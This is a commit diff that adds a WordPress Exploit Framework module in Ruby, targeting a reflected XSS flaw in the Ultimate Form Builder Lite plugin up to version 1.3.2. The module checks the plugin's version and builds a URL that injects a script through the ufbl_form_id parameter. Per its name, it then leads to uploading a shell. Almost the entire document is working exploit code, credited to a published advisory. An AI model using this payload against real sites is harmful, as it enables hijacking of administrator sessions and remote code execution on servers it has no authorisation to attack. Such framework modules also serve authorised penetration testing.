Add Ultimate Form Builder Lite <= 1.3.2 reflected XSS shell upload

Author: rastating

modules/exploits/ultimate_form_builder_lite_reflected_xss_shell_upload.rb

@@ -0,0 +1,28 @@
+class Wpxf::Exploit::UltimateFormBuilderLiteReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Ultimate Form Builder Lite <= 1.3.2 Reflected XSS Shell Upload',
+      author: [
+        'DefenseCode <www.defensecode.com>', # Discovery
+        'Rob Carr <rob[at]rastating.com>'    # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8798'],
+        ['URL', 'http://www.defensecode.com/advisories/DC-2017-01-027_WordPress_Ultimate_Form_Builder_Plugin_Advisory.pdf']
+      ],
+      date: 'Apr 14 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('ultimate-form-builder-lite', '1.3.3')
+  end
+
+  def url_with_xss
+    "#{full_uri}?ufbl_form_preview=true&ufbl_form_id=1%22%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3Ca%20href%3D%22"
+  end
+end